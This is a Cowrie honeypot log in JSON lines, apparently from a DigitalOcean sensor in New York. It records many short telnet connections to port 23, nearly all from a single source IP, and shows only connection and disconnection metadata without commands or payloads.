{"eventid":"cowrie.session.closed","duration":31.554744243621826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.079271Z","src_ip":"51.161.172.108","session":"2accf1cc8f70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.393760204315186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.214030Z","src_ip":"51.161.172.108","session":"2b0e67ae1c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73513960838318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.248262Z","src_ip":"51.161.172.108","session":"eccfcc49534f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72083806991577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.318091Z","src_ip":"51.161.172.108","session":"236d21216879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701740026474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.400836Z","src_ip":"51.161.172.108","session":"d271c5fb1d0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35960,"dst_ip":"159.203.135.109","dst_port":23,"session":"f54a636e8b6a","protocol":"telnet","message":"New connection: 51.161.172.108:35960 (159.203.135.109:23) [session: f54a636e8b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.475734Z"}
{"eventid":"cowrie.session.closed","duration":30.862446784973145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.508234Z","src_ip":"51.161.172.108","session":"452aa9a027f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54727292060852,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.519325Z","src_ip":"51.161.172.108","session":"52a96a5018e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.514180421829224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.600517Z","src_ip":"51.161.172.108","session":"e2ec0eaf0ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35988,"dst_ip":"159.203.135.109","dst_port":23,"session":"c899c84e90c9","protocol":"telnet","message":"New connection: 51.161.172.108:35988 (159.203.135.109:23) [session: c899c84e90c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.666661Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35992,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a5b3d762f25","protocol":"telnet","message":"New connection: 51.161.172.108:35992 (159.203.135.109:23) [session: 9a5b3d762f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.671466Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35970,"dst_ip":"159.203.135.109","dst_port":23,"session":"643815214f73","protocol":"telnet","message":"New connection: 51.161.172.108:35970 (159.203.135.109:23) [session: 643815214f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.679446Z"}
{"eventid":"cowrie.session.closed","duration":31.358619928359985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.711929Z","src_ip":"51.161.172.108","session":"1575e54c07bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":35982,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6fe2716ee35","protocol":"telnet","message":"New connection: 51.161.172.108:35982 (159.203.135.109:23) [session: f6fe2716ee35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.764837Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36008,"dst_ip":"159.203.135.109","dst_port":23,"session":"74a16f14e38e","protocol":"telnet","message":"New connection: 51.161.172.108:36008 (159.203.135.109:23) [session: 74a16f14e38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.894349Z"}
{"eventid":"cowrie.session.closed","duration":31.37086319923401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.931885Z","src_ip":"51.161.172.108","session":"21d37a6f7811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36016,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7555ac63471","protocol":"telnet","message":"New connection: 51.161.172.108:36016 (159.203.135.109:23) [session: c7555ac63471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:20.945091Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36068,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffd094a138a3","protocol":"telnet","message":"New connection: 51.161.172.108:36068 (159.203.135.109:23) [session: ffd094a138a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.116838Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36080,"dst_ip":"159.203.135.109","dst_port":23,"session":"b85870a44e0b","protocol":"telnet","message":"New connection: 51.161.172.108:36080 (159.203.135.109:23) [session: b85870a44e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.228979Z"}
{"eventid":"cowrie.session.closed","duration":30.767085075378418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.234398Z","src_ip":"51.161.172.108","session":"a5728761d76b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36084,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a35880a163","protocol":"telnet","message":"New connection: 51.161.172.108:36084 (159.203.135.109:23) [session: d3a35880a163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.379506Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36096,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d4ec3ffc1c4","protocol":"telnet","message":"New connection: 51.161.172.108:36096 (159.203.135.109:23) [session: 8d4ec3ffc1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.425534Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36124,"dst_ip":"159.203.135.109","dst_port":23,"session":"e434078dac24","protocol":"telnet","message":"New connection: 51.161.172.108:36124 (159.203.135.109:23) [session: e434078dac24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.570738Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36134,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d73d4833f99","protocol":"telnet","message":"New connection: 51.161.172.108:36134 (159.203.135.109:23) [session: 0d73d4833f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.597698Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36140,"dst_ip":"159.203.135.109","dst_port":23,"session":"efcbad51178e","protocol":"telnet","message":"New connection: 51.161.172.108:36140 (159.203.135.109:23) [session: efcbad51178e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.696607Z"}
{"eventid":"cowrie.session.closed","duration":31.358474493026733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.818793Z","src_ip":"51.161.172.108","session":"9d86fe2c1a40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26900124549866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.890429Z","src_ip":"51.161.172.108","session":"44c7c5db9cc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36022,"dst_ip":"159.203.135.109","dst_port":23,"session":"58eb5e360732","protocol":"telnet","message":"New connection: 51.161.172.108:36022 (159.203.135.109:23) [session: 58eb5e360732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:21.900226Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36162,"dst_ip":"159.203.135.109","dst_port":23,"session":"059eab7caeaf","protocol":"telnet","message":"New connection: 51.161.172.108:36162 (159.203.135.109:23) [session: 059eab7caeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.006373Z"}
{"eventid":"cowrie.session.closed","duration":31.475319623947144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.020557Z","src_ip":"51.161.172.108","session":"1ad08f1d1c9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36166,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b2604ab4124","protocol":"telnet","message":"New connection: 51.161.172.108:36166 (159.203.135.109:23) [session: 8b2604ab4124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.097272Z"}
{"eventid":"cowrie.session.closed","duration":31.104073762893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.187551Z","src_ip":"51.161.172.108","session":"4bd5b3a55d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36176,"dst_ip":"159.203.135.109","dst_port":23,"session":"01177adaf5d9","protocol":"telnet","message":"New connection: 51.161.172.108:36176 (159.203.135.109:23) [session: 01177adaf5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.257862Z"}
{"eventid":"cowrie.session.closed","duration":30.857069492340088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.268684Z","src_ip":"51.161.172.108","session":"e2977e1ee70d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36082,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aadd3758f78","protocol":"telnet","message":"New connection: 51.161.172.108:36082 (159.203.135.109:23) [session: 5aadd3758f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.452076Z"}
{"eventid":"cowrie.session.closed","duration":32.03884148597717,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.474646Z","src_ip":"51.161.172.108","session":"e5f89a7cd8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86316967010498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.481935Z","src_ip":"51.161.172.108","session":"a88ae616684a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36204,"dst_ip":"159.203.135.109","dst_port":23,"session":"021d652188a9","protocol":"telnet","message":"New connection: 51.161.172.108:36204 (159.203.135.109:23) [session: 021d652188a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.802052Z"}
{"eventid":"cowrie.session.closed","duration":32.14999556541443,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.917507Z","src_ip":"51.161.172.108","session":"23165ea59fd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.253658056259155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.932710Z","src_ip":"51.161.172.108","session":"c05d8f51fdee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512651205062866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.941591Z","src_ip":"51.161.172.108","session":"e65503b08a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08666133880615,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.948786Z","src_ip":"51.161.172.108","session":"b8e9c038e0a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48729681968689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:22.957241Z","src_ip":"51.161.172.108","session":"783c361bdeec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.609503269195557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.030464Z","src_ip":"51.161.172.108","session":"ddbef22b440f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.280447959899902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.057571Z","src_ip":"45.10.154.244","session":"14af277a852c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57462787628174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.210495Z","src_ip":"51.161.172.108","session":"fc0d9f1e9fab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184767961502075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.225169Z","src_ip":"51.161.172.108","session":"b67a86c0fbf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78786301612854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.253811Z","src_ip":"51.161.172.108","session":"3672ff4f4e5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.059367418289185,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.314254Z","src_ip":"51.161.172.108","session":"b8cabc03dd76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.431583642959595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.577183Z","src_ip":"51.161.172.108","session":"6efe3bca21b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.205700635910034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.630716Z","src_ip":"51.161.172.108","session":"e14cc54235cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36236,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0bb90fea261","protocol":"telnet","message":"New connection: 51.161.172.108:36236 (159.203.135.109:23) [session: c0bb90fea261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.655932Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36248,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2c23a982ef0","protocol":"telnet","message":"New connection: 51.161.172.108:36248 (159.203.135.109:23) [session: e2c23a982ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.667660Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36264,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca93673d16ba","protocol":"telnet","message":"New connection: 51.161.172.108:36264 (159.203.135.109:23) [session: ca93673d16ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.695754Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36148,"dst_ip":"159.203.135.109","dst_port":23,"session":"4144ccd3bdca","protocol":"telnet","message":"New connection: 51.161.172.108:36148 (159.203.135.109:23) [session: 4144ccd3bdca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.896546Z"}
{"eventid":"cowrie.session.closed","duration":31.340994596481323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:23.952858Z","src_ip":"51.161.172.108","session":"13ad5245c9fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11456894874573,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.030790Z","src_ip":"51.161.172.108","session":"51bd47b5943e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72052812576294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.086627Z","src_ip":"51.161.172.108","session":"c34431fc9d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57413911819458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.094438Z","src_ip":"51.161.172.108","session":"1bca15f16742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.776795148849487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.184273Z","src_ip":"51.161.172.108","session":"858da139a649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.474797010421753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.230856Z","src_ip":"51.161.172.108","session":"567b6578bc37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.842846632003784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.260341Z","src_ip":"51.161.172.108","session":"536a6522ba64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79416298866272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.334578Z","src_ip":"51.161.172.108","session":"b2c36e5fad50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36286,"dst_ip":"159.203.135.109","dst_port":23,"session":"0acf1085a823","protocol":"telnet","message":"New connection: 51.161.172.108:36286 (159.203.135.109:23) [session: 0acf1085a823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.360457Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36312,"dst_ip":"159.203.135.109","dst_port":23,"session":"43173f8a7458","protocol":"telnet","message":"New connection: 51.161.172.108:36312 (159.203.135.109:23) [session: 43173f8a7458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.547671Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36322,"dst_ip":"159.203.135.109","dst_port":23,"session":"a46bfc1ec819","protocol":"telnet","message":"New connection: 51.161.172.108:36322 (159.203.135.109:23) [session: a46bfc1ec819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.632629Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36314,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b3e120019d","protocol":"telnet","message":"New connection: 51.161.172.108:36314 (159.203.135.109:23) [session: f4b3e120019d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.683253Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36338,"dst_ip":"159.203.135.109","dst_port":23,"session":"34252b807173","protocol":"telnet","message":"New connection: 51.161.172.108:36338 (159.203.135.109:23) [session: 34252b807173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.710765Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36346,"dst_ip":"159.203.135.109","dst_port":23,"session":"13e7d38968b9","protocol":"telnet","message":"New connection: 51.161.172.108:36346 (159.203.135.109:23) [session: 13e7d38968b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:24.926712Z"}
{"eventid":"cowrie.session.closed","duration":31.599698543548584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.031328Z","src_ip":"51.161.172.108","session":"8fbaf721fa37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36354,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cab467ff497","protocol":"telnet","message":"New connection: 51.161.172.108:36354 (159.203.135.109:23) [session: 7cab467ff497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.037517Z"}
{"eventid":"cowrie.session.closed","duration":31.738914966583252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.116771Z","src_ip":"51.161.172.108","session":"3c62f93ee4ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722434759140015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.250590Z","src_ip":"51.161.172.108","session":"f6640a91af9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178466081619263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.370297Z","src_ip":"51.161.172.108","session":"ba34021127d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36294,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4fbb9d004c6","protocol":"telnet","message":"New connection: 51.161.172.108:36294 (159.203.135.109:23) [session: b4fbb9d004c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.455105Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36310,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e0c2da4f0ec","protocol":"telnet","message":"New connection: 51.161.172.108:36310 (159.203.135.109:23) [session: 6e0c2da4f0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.592450Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36360,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fb645ac50d4","protocol":"telnet","message":"New connection: 51.161.172.108:36360 (159.203.135.109:23) [session: 1fb645ac50d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.597246Z"}
{"eventid":"cowrie.session.closed","duration":31.227190732955933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.768374Z","src_ip":"51.161.172.108","session":"9af9d51e389f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36362,"dst_ip":"159.203.135.109","dst_port":23,"session":"18dfb0c0b032","protocol":"telnet","message":"New connection: 51.161.172.108:36362 (159.203.135.109:23) [session: 18dfb0c0b032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:25.950162Z"}
{"eventid":"cowrie.session.closed","duration":31.235681772232056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:26.213728Z","src_ip":"51.161.172.108","session":"c9c0b553fb03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80105495452881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:26.540560Z","src_ip":"51.161.172.108","session":"acbd5822bb12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36384,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5bb111e61d","protocol":"telnet","message":"New connection: 51.161.172.108:36384 (159.203.135.109:23) [session: bd5bb111e61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:26.564036Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36388,"dst_ip":"159.203.135.109","dst_port":23,"session":"19ef65d2b48e","protocol":"telnet","message":"New connection: 51.161.172.108:36388 (159.203.135.109:23) [session: 19ef65d2b48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:26.572029Z"}
